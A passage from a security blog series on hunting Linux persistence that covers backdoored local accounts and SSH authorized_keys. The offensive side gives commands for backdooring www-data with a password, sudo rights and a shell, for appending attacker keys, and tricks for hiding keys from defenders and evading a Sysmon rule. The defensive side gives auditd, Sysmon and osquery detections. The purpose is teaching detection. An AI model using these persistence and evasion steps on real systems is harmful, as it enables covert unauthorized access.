          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>usermod<span class="nt">&lt;/Image&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>userdel<span class="nt">&lt;/Image&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"passwd_modification"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>passwd<span class="nt">&lt;/Image&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/ProcessCreate&gt;</span>
    <span class="nt">&lt;/RuleGroup&gt;</span>
</code></pre></div></div>

<h3 id="3-valid-accounts-manipulation-local-accounts">3 Valid Accounts Manipulation: Local Accounts</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1098/">https://attack.mitre.org/techniques/T1098/</a> and <a href="https://attack.mitre.org/techniques/T1078/">https://attack.mitre.org/techniques/T1078/</a></p>

<h4 id="31-abusing-legitimate-accounts">3.1 Abusing Legitimate Accounts</h4>

<h5 id="311-modfying-existing-accounts">3.1.1 Modfying existing accounts</h5>

<p>Adversaries may obtain credentials or modify the configuration of existing accounts to maintain persistence. Because these accounts have legitimate purpose, the defenders might have them whitelisted in their alerts or be cautious in doing any significant remediation if they are not familiar with the baseline configuration of the accounts.</p>

<p>In this example, we’ll add a backdoor to the <code class="language-plaintext highlighter-rouge">www-data</code> account. We add a password and let <code class="language-plaintext highlighter-rouge">wwww-data</code> be a sudo-er</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>passwd www-data  
<span class="nb">sudo </span>usermod <span class="nt">-aG</span> <span class="nb">sudo </span>www-data
</code></pre></div></div>
<p>We modify <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to allow us to SSH as <code class="language-plaintext highlighter-rouge">www-data</code> from</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
</code></pre></div></div>

<p>to</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data:x:33:33:www-data:/var/www:/bin/bash
</code></pre></div></div>

<p>In some server configurations, password authentications might be disabled. We might need to modify <code class="language-plaintext highlighter-rouge">/etc/ssh/sshd_config</code> to enable passwords.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PasswordAuthentication yes
</code></pre></div></div>
<p>And restart service.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>service ssh restart
</code></pre></div></div>
<p>This will now allow an attacker to SSH as <code class="language-plaintext highlighter-rouge">www-data</code> and run as sudo.</p>

<h5 id="322-other-ways-of-abusing-local-accounts">3.2.2 Other ways of abusing local accounts</h5>

<p>Sometimes an attacker might not even need to manipulate an account. Maybe he can just:</p>

<ul>
  <li>Dump <code class="language-plaintext highlighter-rouge">/etc/shadow</code> and crack hashes</li>
  <li>Get private keys in a users <code class="language-plaintext highlighter-rouge">.ssh</code> folders</li>
  <li>Downloading CLI service account keys and tokens (GCP and AWS)</li>
  <li>Looking for hardcoded credentials in config files</li>
</ul>

<p>These might provide more covert ways of maintaining persistence and these are less likely to be detected since they are legitimately used by users.</p>

<h4 id="33-detection-similar-as-create-account">3.3 Detection: Similar as create account</h4>

<p>Similar to creating an account, this might require us to modify files such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code> and <code class="language-plaintext highlighter-rouge">/etc/shadow</code> so previous detection rules for account creation will also catch this.</p>

<p>Dumping of <code class="language-plaintext highlighter-rouge">/etc/shadow</code> will be detected by the auditd rules</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/shadow -k etcpasswd

</code></pre></div></div>

<p>For the change in <code class="language-plaintext highlighter-rouge">sshd</code> configuration, you can use the following auditd rules</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>## SSH configuration  
-w /etc/ssh/sshd_config -k sshd  
-w /etc/ssh/sshd_config.d -k sshd
</code></pre></div></div>

<h4 id="34-detection-hunting-for-created-or-manipulated-accounts-with-osquery">3.4 Detection: Hunting for created or manipulated accounts with osquery</h4>

<h5 id="341-looking-for-logged-in-users">3.4.1 Looking for logged in users</h5>

<p>You can query your fleet to found active sessions. There might be a persistence session there you don’t know about.</p>

<p>Query</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="k">type</span><span class="p">,</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span> 
<span class="k">FROM</span> <span class="n">logged_in_users</span> 
<span class="k">WHERE</span> <span class="k">type</span> <span class="o">=</span> <span class="s1">'user'</span><span class="p">;</span>
</code></pre></div></div>
<p>Result</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------+----------+-----------------+
| type | user     | host            |
+------+----------+-----------------+
| user | www-data | 1.2.3.4 |
| user | user     | 1.2.3.4 |
+------+----------+-----------------+
</code></pre></div></div>

<h5 id="342-look-for-account-with-active-passwords">3.4.2 Look for account with active passwords</h5>

<p>When you have secure images that disable password logins by default (like cloud VMs), then you should not see active passwords.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">password_status</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">last_change</span>
<span class="k">FROM</span> <span class="n">shadow</span> 
<span class="k">WHERE</span> <span class="n">password_status</span> <span class="o">=</span> <span class="s1">'active'</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active          | www-data | 18953       |
| active          | legit    | 18819       |
+-----------------+----------+-------------+\
</code></pre></div></div>

<h5 id="343-look-for-accounts-in-special-groups">3.4.3 Look for accounts in special groups</h5>

<p>Look for accounts with special permissions that can be used for privesc. Each user should be accounted for.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">uid</span><span class="p">,</span>  <span class="n">username</span><span class="p">,</span> <span class="n">groupname</span> 
<span class="k">FROM</span> <span class="n">user_groups</span> 
<span class="k">JOIN</span> <span class="n">users</span> 
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
<span class="k">JOIN</span> <span class="n">groups</span> 
<span class="k">ON</span> <span class="n">user_groups</span><span class="p">.</span><span class="n">gid</span><span class="o">=</span><span class="n">groups</span><span class="p">.</span><span class="n">gid</span> 
<span class="k">WHERE</span> 
  <span class="p">(</span><span class="n">groupname</span> <span class="o">=</span> <span class="s1">'sudo'</span> 
  <span class="k">OR</span> <span class="n">groupname</span> <span class="o">=</span> <span class="s1">'root'</span><span class="p">)</span>
  <span class="k">AND</span> <span class="n">username</span> <span class="o">!=</span> <span class="s1">'root'</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------+----------+-----------+
| uid  | username | groupname |
+------+----------+-----------+
| 33   | www-data | sudo      |
| 1001 | legit    | sudo      |
| 1002 | nginx    | sudo      |
+------+----------+-----------+
</code></pre></div></div>

<h5 id="344-look-for-users-that-have-shells-set">3.4.4 Look for users that have shells set</h5>

<p>It’s possible to login as these users. If system accounts have <code class="language-plaintext highlighter-rouge">/bin/bash</code> set then this might be a backdoor.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">uid</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">directory</span><span class="p">,</span> <span class="n">shell</span>
<span class="k">FROM</span> <span class="n">users</span> 
<span class="k">WHERE</span> <span class="n">shell</span> <span class="o">!=</span> <span class="nv">"/usr/sbin/nologin"</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------+----------+-------------+-----------+
| uid  | username | directory   | shell     |
+------+----------+-------------+-----------+
| 0    | root     | /root       | /bin/bash |
| 4    | sync     | /bin        | /bin/sync |
| 33   | www-data | /var/www    | /bin/bash |
| 1000 | user     | /home/user  | /bin/bash |
| 1001 | legit    | /home/legit | /bin/bash |
| 1002 | nginx    | /var/www/   | /bin/bash |
+------+----------+-------------+-----------+
</code></pre></div></div>

<h5 id="345-look-for-commands-related-to-account-creation-or-manipulation">3.4.5 Look for commands related to account creation or manipulation</h5>

<p>Similar to what we’ve been setting up in auditd and sysmon. In case the attacker did not clean up the bash history, then we might be able to find traces of bad activities.</p>

<p>This also includes checking for <code class="language-plaintext highlighter-rouge">authorized_keys</code></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">uid</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">command</span> 
<span class="k">FROM</span> <span class="n">users</span> 
<span class="k">JOIN</span>  <span class="n">shell_history</span> 
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span> 
<span class="k">WHERE</span>  <span class="n">regex_match</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s1">'useradd|adduser|passwd|usermod|groupmod|addgroup|groupadd|authorized_keys'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>  <span class="k">IS</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------+----------+--------------------------------------------------+
| uid  | username | command                                          |
+------+----------+--------------------------------------------------+
| 0    | root     | passwd www-data                                  |
| 0    | root     | vi /etc/passwd                                   |
| 0    | root     | cat /etc/passwd                                  |
| 0    | root     | echo "ssh-ed25519 AA..." &gt;&gt; .ssh/authorized_keys |
| 1000 | user     | echo "ssh-ed25519 ..." &gt;&gt; authorized_keys        |
| 1000 | user     | usermod -aG sudo legit                           |
| 1000 | user     | sudo usermod -aG sudo legit                      |
| 1001 | legit    | sudo vi authorized_keys                          |
+------+----------+--------------------------------------------------+
</code></pre></div></div>

<h4 id="35-manual-comands">3.5 Manual Comands</h4>

<h5 id="351-lastlog">3.5.1 lastlog</h5>

<p>We can use the <code class="language-plaintext highlighter-rouge">lastlog</code> to see which users were loggedin recently</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;</span> lastlog | <span class="nb">grep</span> <span class="nt">-v</span> Never
Username         Port     From             Latest
www-data         pts/1    1.2.3.4  Wed Nov 24 11:17:46 +0000 2021
user             pts/0    1.2.3.4  Wed Nov 24 11:41:22 +0000 2021
legit            pts/1    1.2.3.4   Sun Jul 11 16:18:58 +0000 2021
nginx            pts/1    1.2.3.4  Mon Nov 22 16:59:47 +0000 2021
</code></pre></div></div>

<h5 id="352-varlogauthlog">3.5.2 /var/log/auth.log</h5>

<p>Or we can look at recent authentication logs and see which users where used in SSH sessions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;&gt; cat /var/log/auth.log | grep sshd | grep -i Accepted
Nov 22 16:36:05 test-auditd sshd[13413]: Accepted publickey for user from 1.2.3.4 port 17629 ssh2: ED25519 SHA256:AA...
Nov 22 16:38:42 test-auditd sshd[13446]: Accepted publickey for user from 1.2.3.4 port 18131 ssh2: ED25519 SHA256:AA...
Nov 22 16:54:55 test-auditd sshd[13634]: Accepted publickey for nginx from 1.2.3.4 port 21020 ssh2: ED25519 SHA256:AA...
Nov 22 16:59:46 test-auditd sshd[13683]: Accepted publickey for nginx from 1.2.3.4 port 17676 ssh2: ED25519 SHA256:AA...
Nov 24 10:37:40 test-auditd sshd[11981]: Accepted publickey for user from 1.2.3.4 port 18970 ssh2: ED25519 SHA256:AA...
Nov 24 11:17:45 test-auditd sshd[15854]: Accepted password for www-data from 1.2.3.4 port 18669 ssh2
Nov 24 11:41:21 test-auditd sshd[16566]: Accepted publickey for user from 1.2.3.4 port 17873 ssh2: ED25519 SHA256:AA...
</code></pre></div></div>

<h3 id="4-account-manipulation-ssh-authorized-keys">4 Account Manipulation: SSH Authorized Keys</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1098/004/">https://attack.mitre.org/techniques/T1098/004/</a></p>

<h4 id="41-adding-ssh-authorized-keys">4.1 Adding SSH Authorized Keys</h4>

<p>Adding SSH keys is one simple way that an attacker can maintain persistence. Moreover, the <code class="language-plaintext highlighter-rouge">authorized_keys</code> file is often abstracted by platforms such as GCP and AWS so engineers rarely interact with these files manually. So if you are able to insert an SSH key, then it will probably stay there for a long time.</p>

<p>The <code class="language-plaintext highlighter-rouge">authorized_keys</code> file can be placed in the <code class="language-plaintext highlighter-rouge">&lt;home&gt;/.ssh/</code> directory of each user in the machine.</p>

<p>If we have the following users</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root:x:0:0:root:/root:/bin/bash

user:x:1000:1001::/home/user:/bin/bash  
nginx:x:0:0:,,,:/var/www/:/bin/bash
</code></pre></div></div>

<p>Then the we would want to add our SSH keys in:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/var/www/.ssh/authorized_keys</code></li>
  <li><code class="language-plaintext highlighter-rouge">/home/user/.ssh/authorized_key</code></li>
  <li><code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys</code></li>
</ul>

<p>Then we can run the following commands</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># create .ssh directory if it does not exist  </span>
<span class="nb">mkdir</span> /var/www/.ssh

<span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">&gt;&gt;</span> /var/www/.ssh/authorized_keys  
<span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">&gt;&gt;</span> /home/user/.ssh/authorized_keys  
<span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">&gt;&gt;</span> /root/.ssh/authorized_keys
</code></pre></div></div>

<h4 id="42-some-notes-on-ssh-keys-in-authorized_keys">4.2 Some notes on SSH keys in authorized_keys</h4>

<p>First, to make it a bit more confusing for the defenders, when adding an SSH key copy the usernames in the other SSH keys.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 paul@LP-291221  
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221
</code></pre></div></div>
<p>The “email address” in SSH keys are simply comments that can be changed to anything. This is much better than having <code class="language-plaintext highlighter-rouge">kali</code> in your backdoor SSH keys.</p>

<p>Next, you can add comments to the SSH keys such as</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># DO NOT REMOVE  
ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 security-team  
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221
</code></pre></div></div>

<p>This might be useful for environments such as Google Cloud Platform.</p>

<p>By default, SSH keys are set project wide and added to all instances in the project with the comment <code class="language-plaintext highlighter-rouge"># Added by Google</code> . These SSH keys are “managed” and <em>should</em> be automatically removed when the SSH key is deleted in the project. However, I’ve found that when we add a few whitespaces at the end, the SSH keys are not removed even if they are not found in the project-wide metadata server.</p>

<p>So we add our SSH key and add <code class="language-plaintext highlighter-rouge"># Added by Google      </code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Added by Google        
ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 security-team  
# Added by Google  
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221
</code></pre></div></div>

<p>This makes these SSH keys more likely to be overlooked by defenders.</p>

<h4 id="43-detection-file-integrity-monitoring">4.3 Detection: File Integrity Monitoring</h4>

<p>By default auditbeat does not monitor these files. You have to know the users of the machine beforehand to be able to monitor the <code class="language-plaintext highlighter-rouge">.ssh</code> folder of each user</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>  
  <span class="na">paths</span><span class="pi">:</span>  
  <span class="pi">-</span> <span class="s">/bin</span>  
  <span class="pi">-</span> <span class="s">/usr/bin</span>  
  <span class="pi">-</span> <span class="s">/sbin</span>  
  <span class="pi">-</span> <span class="s">/usr/sbin</span>  
  <span class="pi">-</span> <span class="s">/etc</span>  
  <span class="pi">-</span> <span class="s">/root</span>            <span class="c1"># &lt;--- Add  </span>
  <span class="pi">-</span> <span class="s">/home/user/.ssh</span>  <span class="c1"># &lt;--- Add  </span>
<span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">system</span>  
  <span class="na">datasets</span><span class="pi">:</span>  
    <span class="pi">-</span> <span class="s">package</span> <span class="c1"># Installed, updated, and removed packages</span>
</code></pre></div></div>

<p>This allows us to detect changes to the <code class="language-plaintext highlighter-rouge">authorized_keys</code> of existing users. If additional users are added, these will be out of scope but they should hopefully be detected by the “create/modify user” detection rules we previously discussed.</p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*I2EtAY4nFzYivPF2PEWtQA.png" alt="" /></p>

<h4 id="44-detection-auditd">4.4 Detection: Auditd</h4>

<p>Similar to the FIM, we need to explicitly put the directory of each user to be able to monitor it.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /root/.ssh -p wa -k rootkey  
-w /home/user/.ssh -p wa -k userkey
</code></pre></div></div>

<p>This looks for write or updates to those <code class="language-plaintext highlighter-rouge">/home/user/.ssh/*</code> and <code class="language-plaintext highlighter-rouge">/root/.ssh/*</code></p>

<p>Here is an example output of the raw auditd log</p>

<pre class="highlight"><code>
type=SYSCALL msg=audit(1637609476.111:15803): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=563001182d80 a2=241 a3=1b6 items=2 ppid=15409 pid=15410 <u><b>auid=1000 uid=1000 gid=1001</b></u> euid=1000 suid=1000 fsuid=1000 egid=1001 sgid=1001 fsgid=1001 tty=pts0 ses=50 <u><b>comm="bash" exe="/usr/bin/bash"</b></u> subj==unconfined <u><b>key="userkey"</b></u>, type=PATH msg=audit(1637609476.111:15803): item=0 name=".ssh/" inode=526594 dev=08:01 mode=040700 ouid=1000 ogid=1001 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637609476.111:15803): item=1 <u><b>name=".ssh/authorized_keys"</b></u> inode=527241 dev=08:01 mode=0100600 ouid=1000 ogid=1001 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637609476.111:15803): proctitle="-bash"
</code></pre>

<h4 id="45-detection-sysmon">4.5 Detection: Sysmon</h4>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1098.004,TechniqueName=Account Manipulation: SSH Authorized Keys"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>authorized_keys<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>.ssh<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/FileCreate&gt;</span>
    <span class="nt">&lt;/RuleGroup&gt;</span>
</code></pre></div></div>

<p>If we run the command, and a <code class="language-plaintext highlighter-rouge">authorized_keys</code> file does not exist yet this will generate a log</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">&gt;&gt;</span> /var/www/.ssh/authorized_keys
</code></pre></div></div>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>11<span class="nt">&lt;/EventID&gt;</span>
    <span class="nt">&lt;Version&gt;</span>2<span class="nt">&lt;/Version&gt;</span>
   
    <span class="nt">&lt;EventRecordID&gt;</span>12463<span class="nt">&lt;/EventRecordID&gt;</span>
    <span class="nt">&lt;Correlation/&gt;</span>
    <span class="nt">&lt;Execution</span> <span class="na">ProcessID=</span><span class="s">"20655"</span> <span class="na">ThreadID=</span><span class="s">"20655"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;Channel&gt;</span>Linux-Sysmon/Operational<span class="nt">&lt;/Channel&gt;</span>
    <span class="nt">&lt;Computer&gt;</span>sysmon-test<span class="nt">&lt;/Computer&gt;</span>
    <span class="nt">&lt;Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1098.004,TechniqueName=Acco<span class="nt">&lt;/Data&gt;</span>
   
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>20667<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/bash<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">&gt;</span>/var/www/.ssh/authorized_keys<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">&gt;</span>2021-11-24 09:22:36.722<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>root<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>However, if the <code class="language-plaintext highlighter-rouge">authorized_keys</code> file already exists then the rule will not be triggered.</p>

<p>Now an attacker can easily bypass this alert by creating the file output of the <code class="language-plaintext highlighter-rouge">.ssh</code> folder and not named <code class="language-plaintext highlighter-rouge">authorized_keys</code> and renaming it to <code class="language-plaintext highlighter-rouge">authorized_keys</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">&gt;&gt;</span> /tmp/keys 
<span class="nb">mv</span> /tmp/keys /var/www/.ssh/authorized_keys
</code></pre></div></div>

<p>There might be something wrong with how I define my rules sysmon rules in linux or it might be the version of <code class="language-plaintext highlighter-rouge">sysmon</code> installed in my test VM ,but this really shows that <code class="language-plaintext highlighter-rouge">sysmon</code> is not viable for file integrity monitoring as it is.</p>

<p>This would also be problematic for other rules which I am referencing for this:</p>
<ul>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1543.002_CreateModSystemProcess_Systemd.xml">T1543.002_CreateModSystemProcess_Systemd.xml</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml">T1053.003_Cron_Activity.xml</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1037_BootLogonInitScripts_CommonDirectories.xml">T1037_BootLogonInitScripts_CommonDirectories.xml</a></li>
</ul>

<h4 id="46-detection-osquery">4.6 Detection: OSQuery</h4>

<p>Aside from the previous osquery queries, if you have a fleet then one way you can monitor <code class="language-plaintext highlighter-rouge">authorized_keys</code> is by getting snapshots of your fleet’s <code class="language-plaintext highlighter-rouge">authorized_keys</code></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">authorized_keys</span><span class="p">.</span><span class="o">*</span>   
<span class="k">FROM</span> <span class="n">users</span>   
<span class="k">JOIN</span> <span class="n">authorized_keys</span>   
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------+-----------------+----------------------------------+
| username | key             | key_file                         |
+----------+-----------------+----------------------------------+
| root     | ssh-ed25519 ... | /root/.ssh/authorized_keys       |
| root     | ssh-ed25519 ... | /root/.ssh/authorized_keys       |
| www-data | ssh-ed25519 ... | /var/www/.ssh/authorized_keys    |
| www-data | ssh-ed25519 ... | /var/www/.ssh/authorized_keys    |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| user     | ssh-ed25519 ... | /home/user/.ssh/authorized_keys  |
| legit    | ssh-ed25519 ... | /home/legit/.ssh/authorized_keys |
| nginx    | ssh-ed25519 ... | /var/www/.ssh/authorized_keys    |
| nginx    | ssh-ed25519 ... | /var/www/.ssh/authorized_keys    |
+----------+-----------------+----------------------------------+
</code></pre></div></div>

<p>And investigate the diffs. You can look public keys that are not registered in AWS or GCP. Look SSH keys that are uncommon in your fleet, etc.</p>

<h3 id="conclusions-and-whats-next">Conclusions and What’s next</h3>

<p>We’ve seen how account creation and manipulation isn’t just about looking for the <code class="language-plaintext highlighter-rouge">useradd</code> command.</p>

<p>We have to also include alerts for modifications of <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, <code class="language-plaintext highlighter-rouge">/etc/gshadow</code> and <code class="language-plaintext highlighter-rouge">/etc/group</code> . We also want to look for modifications to <code class="language-plaintext highlighter-rouge">authorized_keys</code>. For these file integrity tasks, I’ll stick to <code class="language-plaintext highlighter-rouge">auditd</code> and/or <code class="language-plaintext highlighter-rouge">auditbeats</code>.</p>

<p>I have yet to find sysmon rules that works well for these scenarios. SysmonForLinux might not be built for this… I’ll ask around and update these blog posts when I get a solution for this.</p>

<p>In the next blog post we’ll go through installed persistence using Systemd, Timers, and Cron.</p>

<hr />

<p>Photo by <a href="https://unsplash.com/@cbarbalis">Chris Barbalis</a> on <a href="https://unsplash.com/">Unsplash</a></p>]]></content><author><name>Pepe Berba</name></author><category term="security" /><category term="mitre" /><category term="persistence" /><category term="threat hunting" /><category term="sysmon" /><category term="auditd" /><summary type="html"><![CDATA[How attackers use newly created and existing accounts for peristence and how to detect them.]]></summary></entry><entry><title type="html">Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery (and Webshells)</title><link href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/" rel="alternate" type="text/html" title="Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery (and Webshells)" /><published>2021-11-22T00:00:00+00:00</published><updated>2021-11-22T00:00:00+00:00</updated><id>https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell</id><content type="html" xml:base="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/"><![CDATA[<h3 id="overview-of-blog-series">Overview of blog series</h3>

<p>Welcome to this blog series “Hunting for Persistence in Linux”! This is a series that explores methods attackers might use to maintain persistent access to a compromised linux system. To do this, we will take an “<em>offense informs defense</em>” approach by going through techniques listed in the <a href="https://attack.mitre.org/matrices/enterprise/linux/">MITRE ATT&amp;CK Matrix for Linux</a>. I will try to:</p>
<ol>
  <li>Give examples of how an attacker might deploy one of these backdoors</li>
  <li>Show how a defender might monitor and detect these installations</li>
</ol>

<p>By giving concrete implementations of these persistence techniques, I hope to give defenders a better appreciation of what exactly they are trying to detect, and some clear examples of how they can test their own alerting.</p>

<p>Each persistence technique has two main parts:</p>

<ol>
  <li>How to deploy the persistence techniques</li>
  <li>How to monitor and detect persistence techniques</li>
</ol>

